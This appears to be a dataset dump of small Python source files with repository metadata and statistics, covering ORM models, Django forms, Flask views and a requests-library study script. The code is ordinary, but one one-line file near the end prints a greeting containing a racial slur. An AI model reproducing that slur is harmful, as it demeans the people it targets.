] | null | null | null | server/swagger_server/models/__init__.py | fabric-testbed/UserInformationService | 3e4a850c67f39e188f7571a044721ad102987e2f | [
"MIT"
] | 16 | 2021-02-16T19:14:40.000Z | 2022-01-18T15:48:44.000Z | server/swagger_server/models/__init__.py | fabric-testbed/UserInformationService | 3e4a850c67f39e188f7571a044721ad102987e2f | [
"MIT"
] | null | null | null | # coding: utf-8
# flake8: noqa
from __future__ import absolute_import
# import models into model package
from swagger_server.models.author_id import AuthorId
from swagger_server.models.author_id_type import AuthorIdType
from swagger_server.models.people_long import PeopleLong
from swagger_server.models.people_short im... | 44.235294 | 68 | 0.881649 | 102 | 752 | 6.245098 | 0.372549 | 0.189953 | 0.293564 | 0.397174 | 0.295133 | 0.097331 | 0 | 0 | 0 | 0 | 0 | 0.002894 | 0.081117 | 752 | 16 | 69 | 47 | 0.918958 | 0.078457 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
b41d8276f17767ddfb57ecfcc24a1249e7f1e90c | 4,012 | py | Python | monitoringHisto/monitoringHisto/model_mysql.py | juliozinga/FIWARELab-monitoringAPI | 5a411de0a59f4408b4ed1a7e58b550b227e4975c | [
"Apache-2.0"
] | null | null | null | monitoringHisto/monitoringHisto/model_mysql.py | juliozinga/FIWARELab-monitoringAPI | 5a411de0a59f4408b4ed1a7e58b550b227e4975c | [
"Apache-2.0"
] | null | null | null | monitoringHisto/monitoringHisto/model_mysql.py | juliozinga/FIWARELab-monitoringAPI | 5a411de0a59f4408b4ed1a7e58b550b227e4975c | [
"Apache-2.0"
] | null | null | null | # coding: utf-8
from sqlalchemy import Column, DateTime, Float, String, text
from sqlalchemy.ext.declarative import declarative_base
from copy import deepcopy, copy
Base = declarative_base()
metadata = Base.metadata
class Host(Base):
__tablename__ = 'host'
entityId = Column(String(64), primary_key=True, nu... | 47.2 | 138 | 0.718843 | 511 | 4,012 | 5.407045 | 0.148728 | 0.188201 | 0.144408 | 0.197611 | 0.768006 | 0.762939 | 0.762939 | 0.743757 | 0.689468 | 0.669562 | 0 | 0.015214 | 0.148056 | 4,012 | 84 | 139 | 47.761905 | 0.793154 | 0.020688 | 0 | 0.390625 | 0 | 0 | 0.064985 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.03125 | false | 0 | 0.046875 | 0 | 0.859375 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
b429cb4cebd6aababf433d9940e9716eb53316cc | 5,259 | py | Python | restui/models/annotations.py | brjones/gifts_rest | 8217e45fd1a692b00c9e9ae9f022ac2d2fab211e | [
"Apache-2.0"
] | null | null | null | restui/models/annotations.py | brjones/gifts_rest | 8217e45fd1a692b00c9e9ae9f022ac2d2fab211e | [
"Apache-2.0"
] | null | null | null | restui/models/annotations.py | brjones/gifts_rest | 8217e45fd1a692b00c9e9ae9f022ac2d2fab211e | [
"Apache-2.0"
] | null | null | null | """
.. See the NOTICE file distributed with this work for additional information
regarding copyright ownership.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.... | 23.79638 | 76 | 0.652405 | 590 | 5,259 | 5.625424 | 0.242373 | 0.077132 | 0.042181 | 0.063272 | 0.706237 | 0.706237 | 0.706237 | 0.705634 | 0.680024 | 0.629105 | 0 | 0.002576 | 0.261837 | 5,259 | 220 | 77 | 23.904545 | 0.852396 | 0.143944 | 0 | 0.733766 | 0 | 0 | 0.088137 | 0.016025 | 0 | 0 | 0 | 0 | 0 | 1 | 0.006494 | false | 0 | 0.012987 | 0.006494 | 0.38961 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
b4435ea5968dd8d970410935a14f93799131f825 | 59 | py | Python | src/main_program.py | bipinKrishnan/unit_testing | 37731d34e89024dbd2787c9f283328563eb71475 | [
"MIT"
] | null | null | null | src/main_program.py | bipinKrishnan/unit_testing | 37731d34e89024dbd2787c9f283328563eb71475 | [
"MIT"
] | null | null | null | src/main_program.py | bipinKrishnan/unit_testing | 37731d34e89024dbd2787c9f283328563eb71475 | [
"MIT"
] | null | null | null | def add(x, y):
return x+y
def product(z, y):
return z*y
| 9.833333 | 18 | 0.610169 | 14 | 59 | 2.571429 | 0.5 | 0.111111 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.220339 | 59 | 5 | 19 | 11.8 | 0.782609 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0 | 0 | 0.5 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 5 |
b452b5dc182bb821923eb782870260bc07647299 | 214 | py | Python | oscardropship/custom_oscar/catalogue/models.py | hanztura/oscardropship | 26a5e76d633494f40458c0ca770279658032e192 | [
"MIT"
] | 2 | 2020-08-24T21:20:32.000Z | 2021-02-08T04:47:54.000Z | oscardropship/custom_oscar/catalogue/models.py | hanztura/oscardropship | 26a5e76d633494f40458c0ca770279658032e192 | [
"MIT"
] | null | null | null | oscardropship/custom_oscar/catalogue/models.py | hanztura/oscardropship | 26a5e76d633494f40458c0ca770279658032e192 | [
"MIT"
] | null | null | null | from .abstract_models import AbstractCategory, AbstractProduct
class Category(AbstractCategory):
pass
class Product(AbstractProduct):
pass
from oscar.apps.catalogue.models import * # noqa isort:skip
| 16.461538 | 62 | 0.780374 | 23 | 214 | 7.217391 | 0.695652 | 0.144578 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.154206 | 214 | 12 | 63 | 17.833333 | 0.917127 | 0.070093 | 0 | 0.333333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.333333 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 5 |
b466ba4001dc39ec4b40e4776f279f576f3a6607 | 2,877 | py | Python | spider/study/request_study.py | dhb15735104415/python-DA-notes | cbbfcf49e9799e7dfb850067bb51ce28a0dbedc0 | [
"MIT"
] | null | null | null | spider/study/request_study.py | dhb15735104415/python-DA-notes | cbbfcf49e9799e7dfb850067bb51ce28a0dbedc0 | [
"MIT"
] | null | null | null | spider/study/request_study.py | dhb15735104415/python-DA-notes | cbbfcf49e9799e7dfb850067bb51ce28a0dbedc0 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2019/11/22 19:36
# @Author : duanhaobin
# @File : except_handing_study.py
# @Software: PyCharm
# @desc: request study
import requests
u1 = 'https://read.douban.com/column/32512170/'
'''
一、基础
'''
r = requests.get(url=u1)
print(r) # <Response [418]>
p... | 41.695652 | 1,165 | 0.738617 | 408 | 2,877 | 5.034314 | 0.502451 | 0.017527 | 0.02483 | 0.029211 | 0.276534 | 0.201558 | 0.201558 | 0.201558 | 0.201558 | 0.083739 | 0 | 0.231531 | 0.087244 | 2,877 | 68 | 1,166 | 42.308824 | 0.550647 | 0.208898 | 0 | 0 | 0 | 0.12 | 0.747017 | 0.479236 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.04 | 0 | 0.04 | 0.48 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 5 |
b46fbe3a403039bc8072d3a03ec1c8179accdd1d | 325 | py | Python | pybotters/typedefs.py | supermomonga/pybotters | 8b6759844deeb1f116b317609c558e13bd35825f | [
"MIT"
] | null | null | null | pybotters/typedefs.py | supermomonga/pybotters | 8b6759844deeb1f116b317609c558e13bd35825f | [
"MIT"
] | null | null | null | pybotters/typedefs.py | supermomonga/pybotters | 8b6759844deeb1f116b317609c558e13bd35825f | [
"MIT"
] | null | null | null | from typing import Any, Callable, Coroutine, Dict, Optional
from aiohttp.client_ws import ClientWebSocketResponse
WsStrHandler = Callable[[str, ClientWebSocketResponse], Optional[Coroutine[Any, Any, None]]]
WsJsonHandler = Callable[[Any, ClientWebSocketResponse], Optional[Coroutine[Any, Any, None]]]
Item = Dict[str, ... | 40.625 | 93 | 0.793846 | 36 | 325 | 7.138889 | 0.472222 | 0.241245 | 0.311284 | 0.33463 | 0.389105 | 0.389105 | 0 | 0 | 0 | 0 | 0 | 0 | 0.098462 | 325 | 7 | 94 | 46.428571 | 0.877133 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.4 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
c338da0df6d6389f2a5277d139bf9fdbba6c3848 | 29 | py | Python | Python Script.py | Dogcatfee/Assorted_Templates | f736e230d969f4b60e72ebe7a0a5c10277e0978e | [
"MIT"
] | null | null | null | Python Script.py | Dogcatfee/Assorted_Templates | f736e230d969f4b60e72ebe7a0a5c10277e0978e | [
"MIT"
] | null | null | null | Python Script.py | Dogcatfee/Assorted_Templates | f736e230d969f4b60e72ebe7a0a5c10277e0978e | [
"MIT"
] | null | null | null | #!/bin/python
print('test')
| 7.25 | 13 | 0.62069 | 4 | 29 | 4.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.103448 | 29 | 3 | 14 | 9.666667 | 0.692308 | 0.413793 | 0 | 0 | 0 | 0 | 0.25 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 5 |
c3515ba80a63399d710643da409cd7a34db4a156 | 331 | py | Python | zeeguu_web/account/static_pages.py | alinbalutoiu/Zeeguu-Web | 95de3f7b5fb926f36d4c2b7669afd1e76419fb44 | [
"MIT"
] | 1 | 2015-03-17T10:20:50.000Z | 2015-03-17T10:20:50.000Z | zeeguu_web/account/static_pages.py | alinbalutoiu/Zeeguu-Web | 95de3f7b5fb926f36d4c2b7669afd1e76419fb44 | [
"MIT"
] | 18 | 2018-01-17T18:12:27.000Z | 2019-02-16T16:43:01.000Z | zeeguu_web/account/static_pages.py | alinbalutoiu/Zeeguu-Web | 95de3f7b5fb926f36d4c2b7669afd1e76419fb44 | [
"MIT"
] | 8 | 2015-02-22T15:26:06.000Z | 2017-03-28T14:05:59.000Z | import flask
from flask import redirect
from . import account
@account.route("/install")
def install():
return flask.render_template("static_pages/install.html")
@account.route("/chrome")
def chrome():
return redirect("https://chrome.google.com/webstore/detail/zeeguu/ckncjmaednfephhbpeookmknhmjjodcd?hl=en",... | 23.642857 | 120 | 0.76435 | 41 | 331 | 6.121951 | 0.634146 | 0.095618 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.010067 | 0.099698 | 331 | 13 | 121 | 25.461538 | 0.832215 | 0 | 0 | 0 | 0 | 0 | 0.383686 | 0.075529 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | true | 0 | 0.333333 | 0.222222 | 0.777778 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 1 | 1 | 0 | 0 | 5 |
5eec5b28d092245ff261fbf39cb9170eca9acb77 | 2,612 | py | Python | src/blog/forms.py | cbsBiram/xarala__ssr | 863e1362c786daa752b942b796f7a015211d2f1b | [
"FSFAP"
] | null | null | null | src/blog/forms.py | cbsBiram/xarala__ssr | 863e1362c786daa752b942b796f7a015211d2f1b | [
"FSFAP"
] | null | null | null | src/blog/forms.py | cbsBiram/xarala__ssr | 863e1362c786daa752b942b796f7a015211d2f1b | [
"FSFAP"
] | null | null | null | from django import forms
from django_summernote.widgets import SummernoteWidget
from .models import Post, Tag
class CreatePostForm(forms.ModelForm):
title = forms.CharField(
max_length=254,
label="Titre de l'article",
required=True,
error_messages={"required": "Le titre doit être r... | 26.383838 | 77 | 0.50536 | 209 | 2,612 | 6.258373 | 0.320574 | 0.058869 | 0.090979 | 0.100917 | 0.774465 | 0.774465 | 0.720948 | 0.720948 | 0.720948 | 0.720948 | 0 | 0.014502 | 0.366386 | 2,612 | 98 | 78 | 26.653061 | 0.775831 | 0 | 0 | 0.615385 | 0 | 0 | 0.227412 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.032967 | 0 | 0.175824 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
6f0e6a437a28085d02f1beb37924e79e1c59e2f7 | 104 | py | Python | python/mzcloud/__init__.py | benesch/cloud-sdks | 21e69b8eacc74d64131fc4d5d543ff0d889c87e4 | [
"Apache-2.0"
] | null | null | null | python/mzcloud/__init__.py | benesch/cloud-sdks | 21e69b8eacc74d64131fc4d5d543ff0d889c87e4 | [
"Apache-2.0"
] | null | null | null | python/mzcloud/__init__.py | benesch/cloud-sdks | 21e69b8eacc74d64131fc4d5d543ff0d889c87e4 | [
"Apache-2.0"
] | null | null | null | """ A client library for accessing Materialize Cloud """
from .client import AuthenticatedClient, Client | 52 | 56 | 0.798077 | 12 | 104 | 6.916667 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.125 | 104 | 2 | 57 | 52 | 0.912088 | 0.461538 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
6f17da0e1373a65cf2247edd275ebd5b25f1bea1 | 113 | py | Python | django/proyectoChido/appxdd/views.py | Nilson-CodeFlex/snproject | 94ed9e9b148a48f4469fcd2e38c64ecaf743595c | [
"MIT"
] | null | null | null | django/proyectoChido/appxdd/views.py | Nilson-CodeFlex/snproject | 94ed9e9b148a48f4469fcd2e38c64ecaf743595c | [
"MIT"
] | 4 | 2021-02-02T19:49:52.000Z | 2022-02-27T06:57:01.000Z | django/proyectoChido/appxdd/views.py | Nilson-CodeFlex/snproject | 94ed9e9b148a48f4469fcd2e38c64ecaf743595c | [
"MIT"
] | null | null | null | from django.http import HttpResponse
def index(request):
return HttpResponse("Wena la rata jsjsjsjsjsjssj") | 22.6 | 54 | 0.787611 | 14 | 113 | 6.357143 | 0.928571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.141593 | 113 | 5 | 54 | 22.6 | 0.917526 | 0 | 0 | 0 | 0 | 0 | 0.236842 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 5 |
6f2d7a1a23f122b1a4ec36d52e5d32aa608dcd5f | 210 | py | Python | studentapp/models/user.py | vlampietti/studentapp-master | f3ecfb87fcde3ec65a77b1c320b09406df3f03e3 | [
"MIT"
] | null | null | null | studentapp/models/user.py | vlampietti/studentapp-master | f3ecfb87fcde3ec65a77b1c320b09406df3f03e3 | [
"MIT"
] | 2 | 2021-02-08T20:19:17.000Z | 2021-04-30T20:32:52.000Z | studentapp/models/user.py | vlampietti/studentapp-master | f3ecfb87fcde3ec65a77b1c320b09406df3f03e3 | [
"MIT"
] | null | null | null | from studentapp.models import db
from datetime import datetime
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
email = db.Column(db.String(255))
name = db.Column(db.String(255))
| 26.25 | 48 | 0.719048 | 33 | 210 | 4.545455 | 0.575758 | 0.16 | 0.2 | 0.213333 | 0.253333 | 0 | 0 | 0 | 0 | 0 | 0 | 0.033898 | 0.157143 | 210 | 7 | 49 | 30 | 0.813559 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
6f3f371167a2271ad202bc33bce2debc47fa06bb | 187 | py | Python | channelshowdown/userprofile/admin.py | channelfix/cshowdown-backend | 4225ad4f2bd56112f627e6fe1f26c281484d804e | [
"MIT"
] | null | null | null | channelshowdown/userprofile/admin.py | channelfix/cshowdown-backend | 4225ad4f2bd56112f627e6fe1f26c281484d804e | [
"MIT"
] | 6 | 2018-02-19T02:41:20.000Z | 2022-03-11T23:19:40.000Z | channelshowdown/userprofile/admin.py | emilarran/channelshowdown_final | 0bcc8766af66719934bf744d0be2a90e96359761 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.contrib import admin
from .models import UserInfo
# Register your models here.
admin.site.register(UserInfo)
| 20.777778 | 39 | 0.775401 | 25 | 187 | 5.6 | 0.68 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006173 | 0.13369 | 187 | 8 | 40 | 23.375 | 0.858025 | 0.256684 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.75 | 0 | 0.75 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
6f4c1ed20f0a9db145b04855fe6ef3c468132d75 | 127 | py | Python | app/users/__init__.py | vladstorm98/TaskBoard | ebe4244cc5cbdfda2fdaac84c0158692f440517c | [
"MIT"
] | null | null | null | app/users/__init__.py | vladstorm98/TaskBoard | ebe4244cc5cbdfda2fdaac84c0158692f440517c | [
"MIT"
] | null | null | null | app/users/__init__.py | vladstorm98/TaskBoard | ebe4244cc5cbdfda2fdaac84c0158692f440517c | [
"MIT"
] | null | null | null | from flask import Blueprint
bp = Blueprint('users', __name__, template_folder='templates')
from app.users import routes
| 21.166667 | 63 | 0.755906 | 16 | 127 | 5.6875 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.15748 | 127 | 5 | 64 | 25.4 | 0.850467 | 0 | 0 | 0 | 0 | 0 | 0.114754 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0.666667 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 5 |
48a573c3e537d20e709f61c64731be0cb9c148c1 | 227 | py | Python | evobench/dsm.py | piotr-rarus/evobench | e3221e03b6cfac597b4cf2c3f725a266eaf7b083 | [
"MIT"
] | 6 | 2020-05-07T16:54:35.000Z | 2021-06-26T16:56:46.000Z | evobench/dsm.py | piotr-rarus/evobench | e3221e03b6cfac597b4cf2c3f725a266eaf7b083 | [
"MIT"
] | 3 | 2021-08-23T20:59:19.000Z | 2022-01-21T20:25:11.000Z | evobench/dsm.py | piotr-rarus/evobench | e3221e03b6cfac597b4cf2c3f725a266eaf7b083 | [
"MIT"
] | null | null | null | from abc import ABC, abstractproperty
from evobench.linkage.dsm import DependencyStructureMatrix
class DependencyStructureMatrixMixin(ABC):
@abstractproperty
def dsm(self) -> DependencyStructureMatrix:
pass
| 20.636364 | 58 | 0.784141 | 20 | 227 | 8.9 | 0.65 | 0.213483 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.162996 | 227 | 10 | 59 | 22.7 | 0.936842 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0.166667 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 0 | 5 |
48b18a04e22e3a7001f022feb4dce4bb9c66c314 | 99 | py | Python | src/test/data/pa2/AdditionalTestCases_pa2/error_invalided_identifier.py | Leo-Enrique-Wu/chocopy_compiler_semantic_analysis | e89f6434dd7d274d4838457316143f312226495f | [
"BSD-2-Clause"
] | null | null | null | src/test/data/pa2/AdditionalTestCases_pa2/error_invalided_identifier.py | Leo-Enrique-Wu/chocopy_compiler_semantic_analysis | e89f6434dd7d274d4838457316143f312226495f | [
"BSD-2-Clause"
] | null | null | null | src/test/data/pa2/AdditionalTestCases_pa2/error_invalided_identifier.py | Leo-Enrique-Wu/chocopy_compiler_semantic_analysis | e89f6434dd7d274d4838457316143f312226495f | [
"BSD-2-Clause"
] | null | null | null | class A(object):
x:int = 1
def foo():
print(1)
print(A)
print(foo()) #ok
print(foo) #error | 12.375 | 17 | 0.585859 | 18 | 99 | 3.222222 | 0.611111 | 0.275862 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.025641 | 0.212121 | 99 | 8 | 17 | 12.375 | 0.717949 | 0.070707 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | true | 0 | 0 | 0 | 0.428571 | 0.571429 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 5 |
48dda61492d2f8ba112ae3b2daec4698e22bede3 | 362 | py | Python | asgi_correlation_id/context.py | lakshaythareja/asgi-correlation-id | c8febfdc04191087fb96b8d1843ad80e6f5cd080 | [
"BSD-4-Clause"
] | null | null | null | asgi_correlation_id/context.py | lakshaythareja/asgi-correlation-id | c8febfdc04191087fb96b8d1843ad80e6f5cd080 | [
"BSD-4-Clause"
] | null | null | null | asgi_correlation_id/context.py | lakshaythareja/asgi-correlation-id | c8febfdc04191087fb96b8d1843ad80e6f5cd080 | [
"BSD-4-Clause"
] | null | null | null | from contextvars import ContextVar
from typing import Optional
# Middleware
correlation_id: ContextVar[Optional[str]] = ContextVar('correlation_id', default=None)
# Celery extension
celery_parent_id: ContextVar[Optional[str]] = ContextVar('celery_parent', default=None)
celery_current_id: ContextVar[Optional[str]] = C... | 36.2 | 89 | 0.812155 | 43 | 362 | 6.651163 | 0.372093 | 0.125874 | 0.20979 | 0.241259 | 0.388112 | 0.272727 | 0 | 0 | 0 | 0 | 0 | 0 | 0.082873 | 362 | 9 | 90 | 40.222222 | 0.861446 | 0.074586 | 0 | 0 | 0 | 0 | 0.123494 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.4 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
48ddc9ebcfd0935a78edcf9e478744ebeff39225 | 1,120 | py | Python | commons/kingpick_api_client/test/test_tenant_api.py | ciandt-d1/cvtool-gcs-connector | 91732f746cfda99833a245c7da9f2a80aa052465 | [
"Apache-2.0"
] | null | null | null | commons/kingpick_api_client/test/test_tenant_api.py | ciandt-d1/cvtool-gcs-connector | 91732f746cfda99833a245c7da9f2a80aa052465 | [
"Apache-2.0"
] | null | null | null | commons/kingpick_api_client/test/test_tenant_api.py | ciandt-d1/cvtool-gcs-connector | 91732f746cfda99833a245c7da9f2a80aa052465 | [
"Apache-2.0"
] | null | null | null | # coding: utf-8
"""
Kingpick Admin API
Provides APIs for tenant maintenance
OpenAPI spec version: 0.1.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import os
import sys
import unittest
import kingpick_api_client
from kingpick_ap... | 16.231884 | 68 | 0.604464 | 131 | 1,120 | 4.900763 | 0.412214 | 0.068536 | 0.105919 | 0.093458 | 0.224299 | 0.093458 | 0 | 0 | 0 | 0 | 0 | 0.005202 | 0.313393 | 1,120 | 68 | 69 | 16.470588 | 0.829649 | 0.263393 | 0 | 0.227273 | 1 | 0 | 0.01214 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.272727 | false | 0.227273 | 0.318182 | 0 | 0.636364 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 1 | 0 | 0 | 5 |
48e24a50d1f2fbfb49461c8e6b65c5e74f952725 | 22 | py | Python | myCode.py | aradK47/myGitTest | 4b82b0d75af2ec2f799c4202daa1f341a175a6ce | [
"MIT"
] | null | null | null | myCode.py | aradK47/myGitTest | 4b82b0d75af2ec2f799c4202daa1f341a175a6ce | [
"MIT"
] | null | null | null | myCode.py | aradK47/myGitTest | 4b82b0d75af2ec2f799c4202daa1f341a175a6ce | [
"MIT"
] | null | null | null | print "hola my nigga"
| 11 | 21 | 0.727273 | 4 | 22 | 4 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.181818 | 22 | 1 | 22 | 22 | 0.888889 | 0 | 0 | 0 | 0 | 0 | 0.590909 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 1 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 5 |
